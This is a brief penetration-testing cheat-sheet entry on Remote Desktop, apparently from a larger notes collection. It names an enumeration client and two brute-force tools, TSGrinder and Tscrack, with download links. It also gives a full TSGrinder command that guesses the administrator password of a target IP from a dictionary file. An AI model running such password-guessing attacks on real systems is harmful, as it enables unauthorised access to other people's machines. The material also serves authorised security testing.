Rdesktop Enumeration
> Remote Desktop Connection

Rdestop Bruteforce
> TSGrinder (http://www.hammerofgod.com/download.html)
tsgrinder.exe -w dictionary_file -l leet -d workgroup -u administrator -b -n 2 IP_Address
> Tscrack (http://web.archive.org/web/20030405132642/bogonel.mirror.spacebitch.com/)